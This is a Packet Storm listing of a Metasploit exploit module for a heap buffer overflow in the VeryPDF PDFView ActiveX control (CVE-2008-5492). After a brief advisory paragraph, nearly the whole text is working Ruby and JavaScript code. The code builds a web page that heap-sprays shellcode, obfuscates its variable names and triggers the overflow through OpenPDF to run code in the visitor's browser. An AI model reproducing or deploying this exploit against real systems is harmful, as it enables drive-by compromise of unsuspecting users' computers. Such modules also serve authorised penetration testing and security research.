The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. An attacker can exploit this issue to execute arbitrary code within the context of the affected application.
9fe20807f1f850f687c4224e3addaf1036287534b484b470b8ebb6e1caa6e155###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow',
'Description' => %q{
The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow
because it fails to properly bounds-check user-supplied data before copying
it into an insufficiently sized memory buffer. An attacker can exploit this issue
to execute arbitrary code within the context of the affected application.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC', 'dean <dean [at] zerodaysolutions [dot] com>' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-5492'],
[ 'OSVDB', '49871'],
[ 'BID','32313' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
],
'DisclosureDate' => 'June 16 2008',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))
# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack('L'))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<object id='#{vname}' classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{ret}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 7024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.OpenPDF(#{rand8}, 1, 1);
</script>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
© 2022 Packet Storm. All rights reserved.
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